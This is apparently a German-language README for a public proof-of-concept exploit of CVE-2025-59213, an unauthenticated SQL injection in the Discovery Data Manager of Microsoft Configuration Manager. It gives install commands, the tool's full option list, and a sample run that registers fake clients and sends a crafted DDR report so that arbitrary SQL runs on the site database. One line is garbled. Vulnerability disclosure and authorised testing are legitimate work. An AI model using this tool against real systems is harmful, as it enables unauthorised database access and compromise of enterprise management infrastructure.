
Nicht authentifizierter SQL-Injection-Exploit für Microsoft Configuration Manager (SCCM) 2503, der die Ausführung beliebiger SQL-Befehle auf der Standortdatenbank über die Discovery Data Manager (DDM)-Methode ermöglicht.
Dieses Skript nutzt die CVE-2025-59213 Sicherheitslücke aus, die es einem nicht authentifizierten Angreifer mit Netzwerkzugriff auf einen Management Point ermöglicht, beliebige SQL-Abfragen auf der Standortdatenbank auszuführen, indem eine SQL-Injection-Schwachstelle in der DuplicateAMTMachineRecord-Methode des Discovery Data Manager (DDM) ausgenutzt wird, wo das nicht escaped Hardware_ID0-Feld während des Zusammenführens zweier Clients mit widersprüchlichen Hardware-IDs unsachgemäß behandelt wird.
Wenn KB34503790 fehlt, sind alle folgenden Versionen von Microsoft Configuration Manager anfällig:
--altauth (weitere Informationen hier)--no-clean verwendet wird oder ein Patch die Bereinigung verhindert.Sie können das Tool installieren, indem Sie das Repository klonen und die Abhängigkeiten installieren.
$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
$ python3 CVE-2025-59213.py -h
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]
CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection
options:
-h, --help show this help message and exit
-t, --target TARGET Target (http://sccm-mp.local/)
-sk, --sigkey SIGKEY SMS signature key (automatically generated if omitted)
-k, --key KEY Private key file for mTLS
-c, --cert CERT Certificate file for mTLS
-v, --verbose Verbose output, print requests
-cn, --client-name CLIENT_NAME
Name of the client that will be created in SCCM
-rs, --registration-sleep REGISTRATION_SLEEP
The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
-a, --altauth Use the MP's alternate authentication endpoint
-sql SQL Query to execute through the SQL injection
-nc, --no-clean Do not automatically clean the registred devices
$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully